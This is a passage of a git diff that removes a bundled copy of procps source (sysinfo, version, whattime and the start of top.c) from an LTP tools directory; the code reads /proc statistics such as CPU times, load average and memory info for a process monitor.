-		fprintf(stderr,
-			"2.4 kernel w/o ELF notes? -- report to albert@users.sf.net\n");
-	}
-	old_Hertz_hack();
-}
-
-/***********************************************************************
- * The /proc filesystem calculates idle=jiffies-(user+nice+sys) and we
- * recover jiffies by adding up the 4 or 5 numbers we are given. SMP kernels
- * (as of pre-2.4 era) can report idle time going backwards, perhaps due
- * to non-atomic reads and updates. There is no locking for these values.
- */
-#ifndef NAN
-#define NAN (-0.0)
-#endif
-#define JT unsigned long long
-void five_cpu_numbers(double *restrict uret, double *restrict nret,
-		      double *restrict sret, double *restrict iret,
-		      double *restrict wret)
-{
-	double tmp_u, tmp_n, tmp_s, tmp_i, tmp_w;
-	double scale;		/* scale values to % */
-	static JT old_u, old_n, old_s, old_i, old_w;
-	JT new_u, new_n, new_s, new_i, new_w;
-	JT ticks_past;		/* avoid div-by-0 by not calling too often :-( */
-
-	tmp_w = 0.0;
-	new_w = 0;
-
-	FILE_TO_BUF(STAT_FILE, stat_fd);
-	sscanf(buf, "cpu %Lu %Lu %Lu %Lu %Lu", &new_u, &new_n, &new_s, &new_i,
-	       &new_w);
-	ticks_past =
-	    (new_u + new_n + new_s + new_i + new_w) - (old_u + old_n + old_s +
-						       old_i + old_w);
-	if (ticks_past) {
-		scale = 100.0 / (double)ticks_past;
-		tmp_u = ((double)new_u - (double)old_u) * scale;
-		tmp_n = ((double)new_n - (double)old_n) * scale;
-		tmp_s = ((double)new_s - (double)old_s) * scale;
-		tmp_i = ((double)new_i - (double)old_i) * scale;
-		tmp_w = ((double)new_w - (double)old_w) * scale;
-	} else {
-		tmp_u = NAN;
-		tmp_n = NAN;
-		tmp_s = NAN;
-		tmp_i = NAN;
-		tmp_w = NAN;
-	}
-	SET_IF_DESIRED(uret, tmp_u);
-	SET_IF_DESIRED(nret, tmp_n);
-	SET_IF_DESIRED(sret, tmp_s);
-	SET_IF_DESIRED(iret, tmp_i);
-	SET_IF_DESIRED(wret, tmp_w);
-	old_u = new_u;
-	old_n = new_n;
-	old_s = new_s;
-	old_i = new_i;
-	old_w = new_w;
-}
-
-#undef JT
-
-/***********************************************************************/
-void loadavg(double *restrict av1, double *restrict av5, double *restrict av15)
-{
-	double avg_1 = 0, avg_5 = 0, avg_15 = 0;
-	char *restrict savelocale;
-
-	FILE_TO_BUF(LOADAVG_FILE, loadavg_fd);
-	savelocale = setlocale(LC_NUMERIC, NULL);
-	setlocale(LC_NUMERIC, "C");
-	if (sscanf(buf, "%lf %lf %lf", &avg_1, &avg_5, &avg_15) < 3) {
-		fprintf(stderr, "bad data in " LOADAVG_FILE "\n");
-		exit(1);
-	}
-	setlocale(LC_NUMERIC, savelocale);
-	SET_IF_DESIRED(av1, avg_1);
-	SET_IF_DESIRED(av5, avg_5);
-	SET_IF_DESIRED(av15, avg_15);
-}
-
-/***********************************************************************/
-/*
- * Copyright 1999 by Albert Cahalan; all rights reserved.
- * This file may be used subject to the terms and conditions of the
- * GNU Library General Public License Version 2, or any later version
- * at your option, as published by the Free Software Foundation.
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU Library General Public License for more details.
- */
-
-typedef struct mem_table_struct {
-	const char *name;	/* memory type name */
-	unsigned *slot;		/* slot in return struct */
-} mem_table_struct;
-
-static int compare_mem_table_structs(const void *a, const void *b)
-{
-	return strcmp(((const mem_table_struct *)a)->name,
-		      ((const mem_table_struct *)b)->name);
-}
-
-/* example data, following junk, with comments added:
- *
- * MemTotal:        61768 kB    old
- * MemFree:          1436 kB    old
- * MemShared:           0 kB    old (now always zero; not calculated)
- * Buffers:          1312 kB    old
- * Cached:          20932 kB    old
- * Active:          12464 kB    new
- * Inact_dirty:      7772 kB    new
- * Inact_clean:      2008 kB    new
- * Inact_target:        0 kB    new
- * Inact_laundry:       0 kB    new, and might be missing too
- * HighTotal:           0 kB
- * HighFree:            0 kB
- * LowTotal:        61768 kB
- * LowFree:          1436 kB
- * SwapTotal:      122580 kB    old
- * SwapFree:        60352 kB    old
- * Inactive:        20420 kB    2.5.41+
- * Dirty:               0 kB    2.5.41+
- * Writeback:           0 kB    2.5.41+
- * Mapped:           9792 kB    2.5.41+
- * Slab:             4564 kB    2.5.41+
- * Committed_AS:     8440 kB    2.5.41+
- * PageTables:        304 kB    2.5.41+
- * ReverseMaps:      5738       2.5.41+
- */
-
-/* obsolete */
-unsigned kb_main_shared;
-/* old but still kicking -- the important stuff */
-unsigned kb_main_buffers;
-unsigned kb_main_cached;
-unsigned kb_main_free;
-unsigned kb_main_total;
-unsigned kb_swap_free;
-unsigned kb_swap_total;
-/* recently introduced */
-unsigned kb_high_free;
-unsigned kb_high_total;
-unsigned kb_low_free;
-unsigned kb_low_total;
-/* 2.4.xx era */
-unsigned kb_active;
-unsigned kb_inact_laundry;
-unsigned kb_inact_dirty;
-unsigned kb_inact_clean;
-unsigned kb_inact_target;
-unsigned kb_swap_cached;	/* late 2.4 only */
-/* derived values */
-unsigned kb_swap_used;
-unsigned kb_main_used;
-/* 2.5.41+ */
-unsigned kb_writeback;
-unsigned kb_slab;
-unsigned nr_reversemaps;
-unsigned kb_committed_as;
-unsigned kb_dirty;
-unsigned kb_inactive;
-unsigned kb_mapped;
-unsigned kb_pagetables;
-
-void meminfo(void)
-{
-	char namebuf[16];	/* big enough to hold any row name */
-	mem_table_struct findme = { namebuf, NULL };
-	mem_table_struct *found;
-	char *head;
-	char *tail;
-	static const mem_table_struct mem_table[] = {
-		{"Active", &kb_active},
-		{"Buffers", &kb_main_buffers},
-		{"Cached", &kb_main_cached},
-		{"Committed_AS", &kb_committed_as},
-		{"Dirty", &kb_dirty},
-		{"HighFree", &kb_high_free},
-		{"HighTotal", &kb_high_total},
-		{"Inact_clean", &kb_inact_clean},
-		{"Inact_dirty", &kb_inact_dirty},
-		{"Inact_laundry", &kb_inact_laundry},
-		{"Inact_target", &kb_inact_target},
-		{"Inactive", &kb_inactive},
-		{"LowFree", &kb_low_free},
-		{"LowTotal", &kb_low_total},
-		{"Mapped", &kb_mapped},
-		{"MemFree", &kb_main_free},
-		{"MemShared", &kb_main_shared},
-		{"MemTotal", &kb_main_total},
-		{"PageTables", &kb_pagetables},
-		{"ReverseMaps", &nr_reversemaps},
-		{"Slab", &kb_slab},
-		{"SwapCached", &kb_swap_cached},
-		{"SwapFree", &kb_swap_free},
-		{"SwapTotal", &kb_swap_total},
-		{"Writeback", &kb_writeback}
-	};
-	const int mem_table_count =
-	    sizeof(mem_table) / sizeof(mem_table_struct);
-
-	FILE_TO_BUF(MEMINFO_FILE, meminfo_fd);
-
-	kb_inactive = ~0U;
-
-	head = buf;
-	for (;;) {
-		tail = strchr(head, ':');
-		if (!tail)
-			break;
-		*tail = '\0';
-		if (strlen(head) >= sizeof(namebuf)) {
-			head = tail + 1;
-			goto nextline;
-		}
-		strcpy(namebuf, head);
-		found = bsearch(&findme, mem_table, mem_table_count,
-				sizeof(mem_table_struct),
-				compare_mem_table_structs);
-		head = tail + 1;
-		if (!found)
-			goto nextline;
-		*(found->slot) = strtoul(head, &tail, 10);
-nextline:
-		tail = strchr(head, '\n');
-		if (!tail)
-			break;
-		head = tail + 1;
-	}
-	if (!kb_low_total) {	/* low==main except with large-memory support */
-		kb_low_total = kb_main_total;
-		kb_low_free = kb_main_free;
-	}
-	if (kb_inactive == ~0U) {
-		kb_inactive =
-		    kb_inact_dirty + kb_inact_clean + kb_inact_laundry;
-	}
-	kb_swap_used = kb_swap_total - kb_swap_free;
-	kb_main_used = kb_main_total - kb_main_free;
-}
-
-/*****************************************************************/
-
-/* read /proc/vminfo only for 2.5.41 and above */
-
-typedef struct vm_table_struct {
-	const char *name;	/* VM statistic name */
-	unsigned *slot;		/* slot in return struct */
-} vm_table_struct;
-
-static int compare_vm_table_structs(const void *a, const void *b)
-{
-	return strcmp(((const vm_table_struct *)a)->name,
-		      ((const vm_table_struct *)b)->name);
-}
-
-unsigned vm_nr_dirty;		// dirty writable pages
-unsigned vm_nr_writeback;	// pages under writeback
-unsigned vm_nr_pagecache;	// pages in pagecache
-unsigned vm_nr_page_table_pages;	// pages used for pagetables
-unsigned vm_nr_reverse_maps;	// includes PageDirect
-unsigned vm_nr_mapped;		// mapped into pagetables
-unsigned vm_nr_slab;		// in slab
-unsigned vm_pgpgin;		// disk reads  (same as 1st num on /proc/stat page line)
-unsigned vm_pgpgout;		// disk writes (same as 2nd num on /proc/stat page line)
-unsigned vm_pswpin;		// swap reads  (same as 1st num on /proc/stat swap line)
-unsigned vm_pswpout;		// swap writes (same as 2nd num on /proc/stat swap line)
-unsigned vm_pgalloc;		// page allocations
-unsigned vm_pgfree;		// page freeings
-unsigned vm_pgactivate;		// pages moved inactive -> active
-unsigned vm_pgdeactivate;	// pages moved active -> inactive
-unsigned vm_pgfault;		// total faults (major+minor)
-unsigned vm_pgmajfault;		// major faults
-unsigned vm_pgscan;		// pages scanned by page reclaim
-unsigned vm_pgrefill;		// inspected by refill_inactive_zone
-unsigned vm_pgsteal;		// total pages reclaimed
-unsigned vm_kswapd_steal;	// pages reclaimed by kswapd
-// next 3 as defined by the 2.5.52 kernel
-unsigned vm_pageoutrun;		// times kswapd ran page reclaim
-unsigned vm_allocstall;		// times a page allocator ran direct reclaim
-unsigned vm_pgrotated;		// pages rotated to the tail of the LRU for immediate reclaim
-
-void vminfo(void)
-{
-	char namebuf[16];	/* big enough to hold any row name */
-	vm_table_struct findme = { namebuf, NULL };
-	vm_table_struct *found;
-	char *head;
-	char *tail;
-	static const vm_table_struct vm_table[] = {
-		{"allocstall", &vm_allocstall},
-		{"kswapd_steal", &vm_kswapd_steal},
-		{"nr_dirty", &vm_nr_dirty},
-		{"nr_mapped", &vm_nr_mapped},
-		{"nr_page_table_pages", &vm_nr_page_table_pages},
-		{"nr_pagecache", &vm_nr_pagecache},
-		{"nr_reverse_maps", &vm_nr_reverse_maps},
-		{"nr_slab", &vm_nr_slab},
-		{"nr_writeback", &vm_nr_writeback},
-		{"pageoutrun", &vm_pageoutrun},
-		{"pgactivate", &vm_pgactivate},
-		{"pgalloc", &vm_pgalloc},
-		{"pgdeactivate", &vm_pgdeactivate},
-		{"pgfault", &vm_pgfault},
-		{"pgfree", &vm_pgfree},
-		{"pgmajfault", &vm_pgmajfault},
-		{"pgpgin", &vm_pgpgin},
-		{"pgpgout", &vm_pgpgout},
-		{"pgrefill", &vm_pgrefill},
-		{"pgrotated", &vm_pgrotated},
-		{"pgscan", &vm_pgscan},
-		{"pgsteal", &vm_pgsteal},
-		{"pswpin", &vm_pswpin},
-		{"pswpout", &vm_pswpout}
-	};
-	const int vm_table_count = sizeof(vm_table) / sizeof(vm_table_struct);
-
-	FILE_TO_BUF(VMINFO_FILE, vminfo_fd);
-
-	head = buf;
-	for (;;) {
-		tail = strchr(head, ' ');
-		if (!tail)
-			break;
-		*tail = '\0';
-		if (strlen(head) >= sizeof(namebuf)) {
-			head = tail + 1;
-			goto nextline;
-		}
-		strcpy(namebuf, head);
-		found = bsearch(&findme, vm_table, vm_table_count,
-				sizeof(vm_table_struct),
-				compare_vm_table_structs);
-		head = tail + 1;
-		if (!found)
-			goto nextline;
-		*(found->slot) = strtoul(head, &tail, 10);
-nextline:
-
-//if (found) fprintf(stderr,"%s=%d\n",found->name,*(found->slot));
-//else      fprintf(stderr,"%s not found\n",findme.name);
-
-		tail = strchr(head, '\n');
-		if (!tail)
-			break;
-		head = tail + 1;
-	}
-}
-
-/*****************************************************************/
diff --git a/tools/top-LTP/proc/sysinfo.h b/tools/top-LTP/proc/sysinfo.h
deleted file mode 100644
index 70f681a..0000000
--- a/tools/top-LTP/proc/sysinfo.h
+++ /dev/null
@@ -1,83 +0,0 @@
-#ifndef PROC_SYSINFO_H
-#define PROC_SYSINFO_H
-
-#include "procps.h"
-
-EXTERN_C_BEGIN
-
-extern unsigned long long Hertz;   /* clock tick frequency */
-extern long smp_num_cpus;     /* number of CPUs */
-
-#define JT double
-extern void five_cpu_numbers(JT *uret, JT *nret, JT *sret, JT *iret, JT *wret);
-#undef JT
-
-extern int        uptime (double *uptime_secs, double *idle_secs);
-extern void       loadavg(double *av1, double *av5, double *av15);
-
-
-/* obsolete */
-extern unsigned kb_main_shared;
-/* old but still kicking -- the important stuff */
-extern unsigned kb_main_buffers;
-extern unsigned kb_main_cached;
-extern unsigned kb_main_free;
-extern unsigned kb_main_total;
-extern unsigned kb_swap_free;
-extern unsigned kb_swap_total;
-/* recently introduced */
-extern unsigned kb_high_free;
-extern unsigned kb_high_total;
-extern unsigned kb_low_free;
-extern unsigned kb_low_total;
-/* 2.4.xx era */
-extern unsigned kb_active;
-extern unsigned kb_inact_laundry;  // grrr...
-extern unsigned kb_inact_dirty;
-extern unsigned kb_inact_clean;
-extern unsigned kb_inact_target;
-extern unsigned kb_swap_cached;  /* late 2.4+ */
-/* derived values */
-extern unsigned kb_swap_used;
-extern unsigned kb_main_used;
-/* 2.5.41+ */
-extern unsigned kb_writeback;
-extern unsigned kb_slab;
-extern unsigned nr_reversemaps;
-extern unsigned kb_committed_as;
-extern unsigned kb_dirty;
-extern unsigned kb_inactive;
-extern unsigned kb_mapped;
-extern unsigned kb_pagetables;
-
-extern void meminfo(void);
-
-
-extern unsigned vm_nr_dirty;
-extern unsigned vm_nr_writeback;
-extern unsigned vm_nr_pagecache;
-extern unsigned vm_nr_page_table_pages;
-extern unsigned vm_nr_reverse_maps;
-extern unsigned vm_nr_mapped;
-extern unsigned vm_nr_slab;
-extern unsigned vm_pgpgin;
-extern unsigned vm_pgpgout;
-extern unsigned vm_pswpin;
-extern unsigned vm_pswpout;
-extern unsigned vm_pgalloc;
-extern unsigned vm_pgfree;
-extern unsigned vm_pgactivate;
-extern unsigned vm_pgdeactivate;
-extern unsigned vm_pgfault;
-extern unsigned vm_pgmajfault;
-extern unsigned vm_pgscan;
-extern unsigned vm_pgrefill;
-extern unsigned vm_pgsteal;
-extern unsigned vm_kswapd_steal;
-extern unsigned vm_pageoutrun;
-extern unsigned vm_allocstall;
-
-extern void vminfo(void);
-
-EXTERN_C_END
-#endif /* SYSINFO_H */
diff --git a/tools/top-LTP/proc/version.c b/tools/top-LTP/proc/version.c
deleted file mode 100644
index 756d3f4..0000000
--- a/tools/top-LTP/proc/version.c
+++ /dev/null
@@ -1,54 +0,0 @@
-/* Suite version information for procps utilities
- * Copyright (c) 1995 Martin Schulze <joey@infodrom.north.de>
- * Ammended by cblake to only export the function symbol.
- *
- * Modified by Albert Cahalan
- *
- * Redistributable under the terms of the
- * GNU Library General Public License; see COPYING
- */
-#ifdef HAVE_CONFIG_H
-#include <config.h>
-#endif
-#include <stdio.h>
-#include <stdlib.h>
-#include "version.h"
-
-#ifdef MINORVERSION
-const char procps_version[] =
-    "procps version " VERSION "." SUBVERSION "." MINORVERSION;
-#else
-const char procps_version[] = "procps version " VERSION "." SUBVERSION;
-#endif
-
-void display_version(void)
-{
-	fprintf(stdout, "%s\n", procps_version);
-}
-
-/* Linux kernel version information for procps utilities
- * Copyright (c) 1996 Charles Blake <cblake@bbn.com>
- */
-#include <sys/utsname.h>
-
-#define LINUX_VERSION(x,y,z)   (0x10000*(x) + 0x100*(y) + z)
-
-int linux_version_code = 0;
-
-static void init_Linux_version(void) __attribute__ ((constructor));
-static void init_Linux_version(void)
-{
-	static struct utsname uts;
-	int x = 0, y = 0, z = 0;	/* cleared in case sscanf() < 3 */
-
-	if (linux_version_code)
-		return;
-	if (uname(&uts) == -1)	/* failure implies impending death */
-		exit(1);
-	if (sscanf(uts.release, "%d.%d.%d", &x, &y, &z) < 3)
-		fprintf(stderr,	/* *very* unlikely to happen by accident */
-			"Non-standard uts for running kernel:\n"
-			"release %s=%d.%d.%d gives version code %d\n",
-			uts.release, x, y, z, LINUX_VERSION(x, y, z));
-	linux_version_code = LINUX_VERSION(x, y, z);
-}
diff --git a/tools/top-LTP/proc/version.h b/tools/top-LTP/proc/version.h
deleted file mode 100644
index 3769b84..0000000
--- a/tools/top-LTP/proc/version.h
+++ /dev/null
@@ -1,31 +0,0 @@
-#ifndef PROC_VERSION_H
-#define PROC_VERSION_H
-
-#include "procps.h"
-
-/* Suite version information for procps utilities
- * Copyright (c) 1995 Martin Schulze <joey@infodrom.north.de>
- * Linux kernel version information for procps utilities
- * Copyright (c) 1996 Charles Blake <cblake@bbn.com>
- * Distributable under the terms of the GNU Library General Public License
- *
- * Copyright 2002 Albert Cahalan
- */
-
-EXTERN_C_BEGIN
-
-extern void display_version(void);	/* display suite version */
-extern const char procps_version[];		/* global buf for suite version */
-
-extern int linux_version_code;		/* runtime version of LINUX_VERSION_CODE
-					   in /usr/include/linux/version.h */
-
-/* Convenience macros for composing/decomposing version codes */
-#define LINUX_VERSION(x,y,z)   (0x10000*(x) + 0x100*(y) + z)
-#define LINUX_VERSION_MAJOR(x) (((x)>>16) & 0xFF)
-#define LINUX_VERSION_MINOR(x) (((x)>> 8) & 0xFF)
-#define LINUX_VERSION_PATCH(x) ( (x)      & 0xFF)
-
-EXTERN_C_END
-
-#endif	/* PROC_VERSION_H */
diff --git a/tools/top-LTP/proc/wchan.h b/tools/top-LTP/proc/wchan.h
deleted file mode 100644
index 061dfe9..0000000
--- a/tools/top-LTP/proc/wchan.h
+++ /dev/null
@@ -1,14 +0,0 @@
-#ifndef PROCPS_PROC_WCHAN_H
-#define PROCPS_PROC_WCHAN_H
-
-#include "procps.h"
-
-EXTERN_C_BEGIN
-
-extern const char * wchan(unsigned long address, unsigned pid);
-extern int   open_psdb(const char *restrict override);
-extern int   open_psdb_message(const char *restrict override, void (*message)(const char *, ...));
-
-EXTERN_C_END
-
-#endif
diff --git a/tools/top-LTP/proc/whattime.c b/tools/top-LTP/proc/whattime.c
deleted file mode 100644
index 0a3b6c3..0000000
--- a/tools/top-LTP/proc/whattime.c
+++ /dev/null
@@ -1,93 +0,0 @@
-/* This is a trivial uptime program.  I hereby release this program
- * into the public domain.  I disclaim any responsibility for this
- * program --- use it at your own risk.  (as if there were any.. ;-)
- * -michaelkjohnson (johnsonm@sunsite.unc.edu)
- *
- * Modified by Larry Greenfield to give a more traditional output,
- * count users, etc.  (greenfie@gauss.rutgers.edu)
- *
- * Modified by mkj again to fix a few tiny buglies.
- *
- * Modified by J. Cowley to add printing the uptime message to a
- * string (for top) and to optimize file handling.  19 Mar 1993.
- *
- */
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <time.h>
-#include <utmp.h>
-#include <sys/ioctl.h>
-#include "whattime.h"
-#include "sysinfo.h"
-
-static char buf[128];
-static double av[3];
-
-char *sprint_uptime(void)
-{
-	struct utmp *utmpstruct;
-	int upminutes, uphours, updays;
-	int pos;
-	struct tm *realtime;
-	time_t realseconds;
-	int numuser;
-	double uptime_secs, idle_secs;
-
-/* first get the current time */
-
-	time(&realseconds);
-	realtime = localtime(&realseconds);
-	pos = sprintf(buf, " %02d:%02d:%02d ",
-		      realtime->tm_hour, realtime->tm_min, realtime->tm_sec);
-
-/* read and calculate the amount of uptime */
-
-	uptime(&uptime_secs, &idle_secs);
-
-	updays = (int)uptime_secs / (60 * 60 * 24);
-	strcat(buf, "up ");
-	pos += 3;
-	if (updays)
-		pos +=
-		    sprintf(buf + pos, "%d day%s, ", updays,
-			    (updays != 1) ? "s" : "");
-	upminutes = (int)uptime_secs / 60;
-	uphours = upminutes / 60;
-	uphours = uphours % 24;
-	upminutes = upminutes % 60;
-	if (uphours)
-		pos += sprintf(buf + pos, "%2d:%02d, ", uphours, upminutes);
-	else
-		pos += sprintf(buf + pos, "%d min, ", upminutes);
-
-/* count the number of users */
-
-	numuser = 0;
-	setutent();
-	while ((utmpstruct = getutent())) {
-		if ((utmpstruct->ut_type == USER_PROCESS) &&
-		    (utmpstruct->ut_name[0] != '\0'))
-			numuser++;
-	}
-	endutent();
-
-	pos +=
-	    sprintf(buf + pos, "%2d user%s, ", numuser,
-		    numuser == 1 ? "" : "s");
-
-	loadavg(&av[0], &av[1], &av[2]);
-
-	pos += sprintf(buf + pos, " load average: %.2f, %.2f, %.2f",
-		       av[0], av[1], av[2]);
-
-	return buf;
-}
-
-void print_uptime(void)
-{
-	printf("%s\n", sprint_uptime());
-}
diff --git a/tools/top-LTP/proc/whattime.h b/tools/top-LTP/proc/whattime.h
deleted file mode 100644
index 891ccd3..0000000
--- a/tools/top-LTP/proc/whattime.h
+++ /dev/null
@@ -1,13 +0,0 @@
-#ifndef PROC_WHATTIME_H
-#define PROC_WHATTIME_H
-
-#include "procps.h"
-
-EXTERN_C_BEGIN
-
-extern void print_uptime(void);
-extern char *sprint_uptime(void);
-
-EXTERN_C_END
-
-#endif
diff --git a/tools/top-LTP/top.c b/tools/top-LTP/top.c
deleted file mode 100644
index 5cf00c8..0000000
--- a/tools/top-LTP/top.c
+++ /dev/null
@@ -1,3684 +0,0 @@
-/* top.c - Source file:         show Linux processes */
-/*
- * Copyright (c) 2002, by:      James C. Warner
- *    All rights reserved.      8921 Hilloway Road
- *                              Eden Prairie, Minnesota 55347 USA
- *                             <warnerjc@worldnet.att.net>
- *
- * This file may be used subject to the terms and conditions of the
- * GNU Library General Public License Version 2, or any later version
- * at your option, as published by the Free Software Foundation.
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU Library General Public License for more details.
- *
- * For their contributions to this program, the author wishes to thank:
- *    Albert D. Cahalan, <albert@users.sf.net>
- *    Craig Small, <csmall@small.dropbear.id.au>
- *
- * Changes by Albert Cahalan, 2002.
- */
-#include <sys/ioctl.h>
-#include <sys/resource.h>
-#include <sys/time.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <ctype.h>
-#include <curses.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <signal.h>
-#include <stdarg.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <term.h>
-#include <termios.h>
-#include <time.h>
-#include <unistd.h>
-#include <values.h>
-
-#include "proc/devname.h"
-#include "proc/wchan.h"
-#include "proc/procps.h"
-#include "proc/readproc.h"
-#include "proc/escape.h"
-#include "proc/sig.h"
-#ifdef USE_LIB_STA3
-#include "proc/status.h"
-#endif
-#include "proc/sysinfo.h"
-#include "proc/version.h"
-#include "proc/whattime.h"
-
-#include "top.h"
-
-/*######  Miscellaneous global stuff  ####################################*/
-	/* Used for recording data to and reading data from a file. */
-static FILE *outfile;
-static FILE *datafile;
-static int o_flag;
-	/* The original and new terminal attributes */
-static struct termios Savedtty, Rawtty;
-static int Ttychanged = 0;
-
-	/* Program name used in error messages and local 'rc' file name */
-static char *Myname;
-
-	/* Name of user config file (dynamically constructed) and our
-	   'Current' rcfile contents, initialized with defaults but may be
-	   overridden with the local rcfile (old or new-style) values */
-static char Rc_name[OURPATHSZ];
-static RCF_t Rc = DEF_RCFILE;
-
-	/* The run-time acquired page size */
-static int Page_size;
-
-	/* SMP, Irix/Solaris mode, Linux 2.5.xx support */
-static int Cpu_tot, *Cpu_map;
-	/* assume no IO-wait stats, overridden if linux 2.5.41 */
-static const char *States_fmts = STATES_line2x4;
-
-	/* Specific process id monitoring support */
-static pid_t Monpids[MONPIDMAX] = { 0 };
-
-static int Monpidsidx = 0;
-
-	/* A postponed error message */
-static char Msg_delayed[SMLBUFSIZ];
-static int Msg_awaiting = 0;
-
-	/* Configurable Display support ################################## */
-
-	/* Current screen dimensions.
-	   note: the number of processes displayed is tracked on a per window
-	   basis (see the WIN_t).  Max_lines is the total number of
-	   screen rows after deducting summary information overhead. */
-	/* Current terminal screen size. */
-static int Screen_cols, Screen_rows, Max_lines;
-
-	/* This is really the number of lines needed to display the summary
-	   information (0 - nn), but is used as the relative row where we
-	   stick the cursor between frames. */
-static int Msg_row;
-
-	/* Global/Non-windows mode stuff that is NOT persistent */
-static int No_ksyms = -1,	// set to '0' if ksym avail, '1' otherwise
-    PSDBopen = 0,		// set to '1' if psdb opened (now postponed)
-    Batch = 0,			// batch mode, collect no input, dumb output
-    Loops = -1,			// number of iterations, -1 loops forever
-    Secure_mode = 0;		// set if some functionality restricted
-
-	/* Some cap's stuff to reduce runtime calls --
-	   to accomodate 'Batch' mode, they begin life as empty strings */
-static char Cap_clr_eol[CAPBUFSIZ] = "",
-    Cap_clr_eos[CAPBUFSIZ] = "",
-    Cap_clr_scr[CAPBUFSIZ] = "",
-    Cap_curs_norm[CAPBUFSIZ] = "",
-    Cap_curs_huge[CAPBUFSIZ] = "",
-    Cap_home[CAPBUFSIZ] = "",
-    Cap_norm[CAPBUFSIZ] = "",
-    Cap_reverse[CAPBUFSIZ] = "", Caps_off[CAPBUFSIZ] = "";
-static int Cap_can_goto = 0;
-
-	/* Some optimization stuff, to reduce output demands...
-	   The Pseudo_ guys are managed by wins_resize and frame_make.  They
-	   are exploited in a macro and represent 90% of our optimization.
-	   The Stdout_buf is transparent to our code and regardless of whose
-	   buffer is used, stdout is flushed at frame end or if interactive. */
-static char *Pseudo_scrn;
-static int Pseudo_row, Pseudo_cols, Pseudo_size;
-#ifndef STDOUT_IOLBF
-	// less than stdout's normal buffer but with luck mostly '\n' anyway
-static char Stdout_buf[2048];
-#endif
-
-	/* ////////////////////////////////////////////////////////////// */
-	/* Special Section: multiple windows/field groups  --------------- */
-
-	/* The pointers to our four WIN_t's, and which of those is considered
-	   the 'current' window (ie. which window is associated with any summ
-	   info displayed and to which window commands are directed) */
-static WIN_t Winstk[GROUPSMAX], *Curwin;
-
-	/* Frame oriented stuff that can't remain local to any 1 function
-	   and/or that would be too cumbersome managed as parms,
-	   and/or that are simply more efficiently handled as globals
-	   (first 2 persist beyond a single frame, changed infrequently) */
-static int Frames_libflags;	// PROC_FILLxxx flags (0 = need new)
-//atic int       Frames_maxcmdln;       // the largest from the 4 windows
-static unsigned Frame_maxtask;	// last known number of active tasks
-					// ie. current 'size' of proc table
-static unsigned Frame_running,	// state categories for this frame
- Frame_sleepin, Frame_stopped, Frame_zombied;
-static float Frame_tscale;	// so we can '*' vs. '/' WHEN 'pcpu'
-static int Frame_srtflg,	// the subject window's sort direction
- Frame_ctimes,			// the subject window's ctimes flag
- Frame_cmdlin;			// the subject window's cmdlin flag
-	/* ////////////////////////////////////////////////////////////// */
-
-/*######  Sort callbacks  ################################################*/
-
-	/*
-	 * These happen to be coded in the same order as the enum 'pflag'
-	 * values.  Note that 2 of these routines serve double duty --
-	 * 2 columns each.
-	 */
-
-SCB_NUMx(P_PID, pid)
-    SCB_NUMx(P_PPD, ppid)
-    SCB_STRx(P_URR, ruser)
-    SCB_NUMx(P_UID, euid)
-    SCB_STRx(P_URE, euser)
-    SCB_STRx(P_GRP, egroup)
-    SCB_NUMx(P_TTY, tty)
-    SCB_NUMx(P_PRI, priority)
-    SCB_NUMx(P_NCE, nice)
-    SCB_NUMx(P_CPN, processor)
-    SCB_NUM1(P_CPU, pcpu)
-    // also serves P_TM2 !
-static int sort_P_TME(const proc_t ** P, const proc_t ** Q)
-{
-	if (Frame_ctimes) {
-		if (((*P)->cutime + (*P)->cstime + (*P)->utime + (*P)->stime)
-		    < ((*Q)->cutime + (*Q)->cstime + (*Q)->utime + (*Q)->stime))
-			return SORT_lt;
-		if (((*P)->cutime + (*P)->cstime + (*P)->utime + (*P)->stime)
-		    > ((*Q)->cutime + (*Q)->cstime + (*Q)->utime + (*Q)->stime))
-			return SORT_gt;
-	} else {
-		if (((*P)->utime + (*P)->stime) < ((*Q)->utime + (*Q)->stime))
-			return SORT_lt;
-		if (((*P)->utime + (*P)->stime) > ((*Q)->utime + (*Q)->stime))
-			return SORT_gt;
-	}
-	return SORT_eq;
-}
-
-SCB_NUM1(P_VRT, size)
-    SCB_NUM2(P_SWP, size, resident)
-    SCB_NUM1(P_RES, resident)	// also serves P_MEM !
-    SCB_NUM1(P_COD, trs)
-    SCB_NUM1(P_DAT, drs)
-    SCB_NUM1(P_SHR, share)
-    SCB_NUM1(P_FLT, maj_flt)
-    SCB_NUM1(P_DRT, dt)
-    SCB_NUMx(P_STA, state)
-
-static int sort_P_CMD(const proc_t ** P, const proc_t ** Q)
-{
-	/* if a process doesn't have a cmdline, we'll consider it a kernel thread
-	   -- since displayed tasks are given special treatment, we must too */
-	if (Frame_cmdlin && ((*P)->cmdline || (*Q)->cmdline)) {
-		if (!(*Q)->cmdline)
-			return Frame_srtflg * -1;
-		if (!(*P)->cmdline)
-			return Frame_srtflg;
-		return Frame_srtflg *
-		    strncmp((*Q)->cmdline[0], (*P)->cmdline[0],
-			    (unsigned)Curwin->maxcmdln);
-	}
-	// this part also handles the compare if both are kernel threads
-	return Frame_srtflg * strcmp((*Q)->cmd, (*P)->cmd);
-}
-
-SCB_NUM1(P_WCH, wchan)
-    SCB_NUM1(P_FLG, flags)
-
-    /* ///////////////////////////////// special sort for prochlp() ! */
-static int sort_HST_t(const HST_t * P, const HST_t * Q)
-{
-	return P->pid - Q->pid;
-}
-
-/*######  Tiny useful routine(s)  ########################################*/
-
-	/*
-	 * This routine isolates ALL user INPUT and ensures that we
-	 * wont be mixing I/O from stdio and low-level read() requests */
-static int chin(int ech, char *buf, unsigned cnt)
-{
-	int rc;
-
-	fflush(stdout);
-	if (!ech)
-		rc = read(STDIN_FILENO, buf, cnt);
-	else {
-		tcsetattr(STDIN_FILENO, TCSAFLUSH, &Savedtty);
-		rc = read(STDIN_FILENO, buf, cnt);
-		tcsetattr(STDIN_FILENO, TCSAFLUSH, &Rawtty);
-	}
-	/* may be the beginning of a lengthy escape sequence  */
